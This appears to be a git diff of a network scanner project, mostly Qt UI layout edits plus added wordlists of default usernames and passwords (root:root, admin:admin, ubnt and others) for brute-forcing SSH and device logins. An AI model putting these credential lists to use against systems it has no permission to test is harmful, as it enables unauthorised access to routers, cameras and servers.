<set>QGraphicsView::CacheNone</set>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QTextBrowser" name="BAText">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>20</x>
|
|
||||||
<y>445</y>
|
|
||||||
<width>453</width>
|
|
||||||
<height>326</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;</string>
|
|
||||||
</property>
|
|
||||||
<property name="locale">
|
|
||||||
<locale language="Chinese" country="China"/>
|
|
||||||
</property>
|
|
||||||
<property name="frameShape">
|
|
||||||
<enum>QFrame::NoFrame</enum>
|
|
||||||
</property>
|
|
||||||
<property name="frameShadow">
|
|
||||||
<enum>QFrame::Plain</enum>
|
|
||||||
</property>
|
|
||||||
<property name="undoRedoEnabled">
|
|
||||||
<bool>false</bool>
|
|
||||||
</property>
|
|
||||||
<property name="readOnly">
|
|
||||||
<bool>true</bool>
|
|
||||||
</property>
|
|
||||||
<property name="html">
|
|
||||||
<string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
|
|
||||||
<html><head><meta name="qrichtext" content="1" /><style type="text/css">
|
|
||||||
p, li { white-space: pre-wrap; }
|
|
||||||
</style></head><body style=" font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;">
|
|
||||||
<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;"><br /></p></body></html></string>
|
|
||||||
</property>
|
|
||||||
<property name="cursorWidth">
|
|
||||||
<number>5</number>
|
|
||||||
</property>
|
|
||||||
<property name="textInteractionFlags">
|
|
||||||
<set>Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse</set>
|
|
||||||
</property>
|
|
||||||
<property name="openExternalLinks">
|
|
||||||
<bool>true</bool>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QPushButton" name="switcherBut">
|
<widget class="QPushButton" name="switcherBut">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>480</x>
|
<x>475</x>
|
||||||
<y>500</y>
|
<y>467</y>
|
||||||
<width>16</width>
|
<width>16</width>
|
||||||
<height>205</height>
|
<height>21</height>
|
||||||
</rect>
|
</rect>
|
||||||
</property>
|
</property>
|
||||||
<property name="font">
|
<property name="font">
|
||||||
@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string>Brute activity</string>
|
<string>Brute activity</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="styleSheet">
|
<property name="styleSheet">
|
||||||
<string notr="true">border: 1px solid rgb(216, 216, 216);
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||||
color: rgb(216, 216, 216);
|
|
||||||
background-color: #000000;</string>
|
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string><</string>
|
<string><</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelTracker">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>200</x>
|
|
||||||
<y>783</y>
|
|
||||||
<width>45</width>
|
|
||||||
<height>10</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="sizePolicy">
|
|
||||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
|
||||||
<horstretch>0</horstretch>
|
|
||||||
<verstretch>0</verstretch>
|
|
||||||
</sizepolicy>
|
|
||||||
</property>
|
|
||||||
<property name="minimumSize">
|
|
||||||
<size>
|
|
||||||
<width>0</width>
|
|
||||||
<height>0</height>
|
|
||||||
</size>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
|
||||||
</property>
|
|
||||||
<property name="lineWidth">
|
|
||||||
<number>1</number>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>NS-Track:</string>
|
|
||||||
</property>
|
|
||||||
<property name="wordWrap">
|
|
||||||
<bool>false</bool>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QGraphicsView" name="graphicActivityGrid">
|
<widget class="QGraphicsView" name="graphicActivityGrid">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
@ -3026,8 +2896,8 @@ background-color: #000000;</string>
|
|||||||
</property>
|
</property>
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>249</x>
|
<x>456</x>
|
||||||
<y>785</y>
|
<y>0</y>
|
||||||
<width>8</width>
|
<width>8</width>
|
||||||
<height>8</height>
|
<height>8</height>
|
||||||
</rect>
|
</rect>
|
||||||
@ -3039,7 +2909,7 @@ background-color: #000000;</string>
|
|||||||
</font>
|
</font>
|
||||||
</property>
|
</property>
|
||||||
<property name="styleSheet">
|
<property name="styleSheet">
|
||||||
<string notr="true">background-color: black; border: 1px solid white;</string>
|
<string notr="true">background-color: black; border: 1px solid #313131;</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string/>
|
<string/>
|
||||||
@ -3127,15 +2997,98 @@ background-color: #000000;</string>
|
|||||||
<string>✔:</string>
|
<string>✔:</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
|
<widget class="QLineEdit" name="currentDirectoryLine">
|
||||||
|
<property name="geometry">
|
||||||
|
<rect>
|
||||||
|
<x>20</x>
|
||||||
|
<y>780</y>
|
||||||
|
<width>351</width>
|
||||||
|
<height>16</height>
|
||||||
|
</rect>
|
||||||
|
</property>
|
||||||
|
<property name="font">
|
||||||
|
<font>
|
||||||
|
<pointsize>7</pointsize>
|
||||||
|
</font>
|
||||||
|
</property>
|
||||||
|
<property name="mouseTracking">
|
||||||
|
<bool>false</bool>
|
||||||
|
</property>
|
||||||
|
<property name="focusPolicy">
|
||||||
|
<enum>Qt::NoFocus</enum>
|
||||||
|
</property>
|
||||||
|
<property name="styleSheet">
|
||||||
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
|
</property>
|
||||||
|
<property name="text">
|
||||||
|
<string/>
|
||||||
|
</property>
|
||||||
|
<property name="frame">
|
||||||
|
<bool>false</bool>
|
||||||
|
</property>
|
||||||
|
<property name="readOnly">
|
||||||
|
<bool>true</bool>
|
||||||
|
</property>
|
||||||
|
</widget>
|
||||||
|
<widget class="QTableView" name="BATableView">
|
||||||
|
<property name="geometry">
|
||||||
|
<rect>
|
||||||
|
<x>20</x>
|
||||||
|
<y>445</y>
|
||||||
|
<width>453</width>
|
||||||
|
<height>326</height>
|
||||||
|
</rect>
|
||||||
|
</property>
|
||||||
|
<property name="font">
|
||||||
|
<font>
|
||||||
|
<family>Small Fonts</family>
|
||||||
|
<pointsize>7</pointsize>
|
||||||
|
</font>
|
||||||
|
</property>
|
||||||
|
<property name="styleSheet">
|
||||||
|
<string notr="true">background-color: rgb(26, 26,26); border: 1px solid white;</string>
|
||||||
|
</property>
|
||||||
|
<property name="locale">
|
||||||
|
<locale language="English" country="UnitedStates"/>
|
||||||
|
</property>
|
||||||
|
<property name="frameShape">
|
||||||
|
<enum>QFrame::NoFrame</enum>
|
||||||
|
</property>
|
||||||
|
<property name="frameShadow">
|
||||||
|
<enum>QFrame::Plain</enum>
|
||||||
|
</property>
|
||||||
|
<property name="horizontalScrollBarPolicy">
|
||||||
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||||
|
</property>
|
||||||
|
<property name="selectionMode">
|
||||||
|
<enum>QAbstractItemView::SingleSelection</enum>
|
||||||
|
</property>
|
||||||
|
<property name="selectionBehavior">
|
||||||
|
<enum>QAbstractItemView::SelectRows</enum>
|
||||||
|
</property>
|
||||||
|
<property name="cornerButtonEnabled">
|
||||||
|
<bool>false</bool>
|
||||||
|
</property>
|
||||||
|
<attribute name="horizontalHeaderVisible">
|
||||||
|
<bool>false</bool>
|
||||||
|
</attribute>
|
||||||
|
<attribute name="verticalHeaderVisible">
|
||||||
|
<bool>false</bool>
|
||||||
|
</attribute>
|
||||||
|
<attribute name="verticalHeaderDefaultSectionSize">
|
||||||
|
<number>20</number>
|
||||||
|
</attribute>
|
||||||
|
<attribute name="verticalHeaderMinimumSectionSize">
|
||||||
|
<number>10</number>
|
||||||
|
</attribute>
|
||||||
|
</widget>
|
||||||
|
<zorder>BATableView</zorder>
|
||||||
<zorder>graphicTextPlacer</zorder>
|
<zorder>graphicTextPlacer</zorder>
|
||||||
<zorder>BAText</zorder>
|
|
||||||
<zorder>labelNesca_3</zorder>
|
<zorder>labelNesca_3</zorder>
|
||||||
<zorder>tabMainWidget</zorder>
|
<zorder>tabMainWidget</zorder>
|
||||||
<zorder>line</zorder>
|
<zorder>line</zorder>
|
||||||
<zorder>exitButton</zorder>
|
<zorder>exitButton</zorder>
|
||||||
<zorder>dataText</zorder>
|
<zorder>dataText</zorder>
|
||||||
<zorder>labelStatus</zorder>
|
|
||||||
<zorder>labelStatus_Value</zorder>
|
|
||||||
<zorder>line_2</zorder>
|
<zorder>line_2</zorder>
|
||||||
<zorder>RedLabel</zorder>
|
<zorder>RedLabel</zorder>
|
||||||
<zorder>YellowLabel</zorder>
|
<zorder>YellowLabel</zorder>
|
||||||
@ -3159,7 +3112,6 @@ background-color: #000000;</string>
|
|||||||
<zorder>graphicLog_2</zorder>
|
<zorder>graphicLog_2</zorder>
|
||||||
<zorder>graphicLog_Upper</zorder>
|
<zorder>graphicLog_Upper</zorder>
|
||||||
<zorder>switcherBut</zorder>
|
<zorder>switcherBut</zorder>
|
||||||
<zorder>labelTracker</zorder>
|
|
||||||
<zorder>graphicActivityGrid</zorder>
|
<zorder>graphicActivityGrid</zorder>
|
||||||
<zorder>graphicActivity</zorder>
|
<zorder>graphicActivity</zorder>
|
||||||
<zorder>VoiceScanBut</zorder>
|
<zorder>VoiceScanBut</zorder>
|
||||||
@ -3188,6 +3140,7 @@ background-color: #000000;</string>
|
|||||||
<zorder>labelRunningThreads</zorder>
|
<zorder>labelRunningThreads</zorder>
|
||||||
<zorder>labelSavedValue</zorder>
|
<zorder>labelSavedValue</zorder>
|
||||||
<zorder>labelSaved</zorder>
|
<zorder>labelSaved</zorder>
|
||||||
|
<zorder>currentDirectoryLine</zorder>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QWidget" name="widgetJOB" native="true">
|
<widget class="QWidget" name="widgetJOB" native="true">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
|
54
pass.txt
54
pass.txt
@ -0,0 +1,54 @@
|
|||||||
|
12345
|
||||||
|
root
|
||||||
|
admin
|
||||||
|
password
|
||||||
|
123456
|
||||||
|
1234
|
||||||
|
|
||||||
|
|
||||||
|
123123
|
||||||
|
pass
|
||||||
|
qwerty
|
||||||
|
meinsm
|
||||||
|
monitor
|
||||||
|
user
|
||||||
|
support
|
||||||
|
test
|
||||||
|
sysadm
|
||||||
|
admin123
|
||||||
|
Admin
|
||||||
|
123321
|
||||||
|
12344321
|
||||||
|
toor
|
||||||
|
qwerty123
|
||||||
|
1q2w3e4r
|
||||||
|
987654321
|
||||||
|
system
|
||||||
|
111111
|
||||||
|
1111
|
||||||
|
654321
|
||||||
|
54321
|
||||||
|
!@#$%^
|
||||||
|
0000
|
||||||
|
000000
|
||||||
|
master
|
||||||
|
12345678
|
||||||
|
666666
|
||||||
|
888888
|
||||||
|
88888888
|
||||||
|
777777
|
||||||
|
555555
|
||||||
|
123321123
|
||||||
|
222222
|
||||||
|
333333
|
||||||
|
444444
|
||||||
|
999999
|
||||||
|
111222333
|
||||||
|
123123123
|
||||||
|
123454321
|
||||||
|
0123456789
|
||||||
|
qqqqqq
|
||||||
|
administrator
|
||||||
|
backup
|
||||||
|
super
|
||||||
|
ubnt
|
@ -11,14 +11,14 @@ void PieStat::run()
|
|||||||
while(PieStatFlag)
|
while(PieStatFlag)
|
||||||
{
|
{
|
||||||
psTh->doEmitUpdatePie();
|
psTh->doEmitUpdatePie();
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
msleep(500);
|
msleep(500);
|
||||||
};
|
};
|
||||||
|
2473
qrc_nesca_3.cpp
2473
qrc_nesca_3.cpp
File diff suppressed because it is too large
Load Diff
29
sshpass.txt
29
sshpass.txt
@ -0,0 +1,29 @@
|
|||||||
|
hw230f8034t:17932yhf823
|
||||||
|
admin:
|
||||||
|
root:root
|
||||||
|
root:admin
|
||||||
|
admin:admin
|
||||||
|
admin:root
|
||||||
|
backup:backup
|
||||||
|
guest:guest
|
||||||
|
root:master
|
||||||
|
root:1234
|
||||||
|
admin:master
|
||||||
|
admin:111111
|
||||||
|
root:12345
|
||||||
|
root:123456
|
||||||
|
admin:1234
|
||||||
|
admin:12345
|
||||||
|
root:12345678
|
||||||
|
root:123123
|
||||||
|
admin:123456
|
||||||
|
admin:12345678
|
||||||
|
root:654321
|
||||||
|
admin:123123
|
||||||
|
admin:654321
|
||||||
|
root:password
|
||||||
|
admin:pasword
|
||||||
|
root:1qazXSW@
|
||||||
|
test:test
|
||||||
|
:
|
||||||
|
user:user
|
@ -0,0 +1,3 @@
|
|||||||
|
[FAIL]
|
||||||
|
admin
|
||||||
|
root
|
10
wfpass.txt
10
wfpass.txt
@ -0,0 +1,10 @@
|
|||||||
|
[FAIL]
|
||||||
|
admin
|
||||||
|
root
|
||||||
|
pass
|
||||||
|
password
|
||||||
|
toor
|
||||||
|
123123
|
||||||
|
123456
|
||||||
|
12345
|
||||||
|
qwerty
|
Loading…
Reference in New Issue
Block a user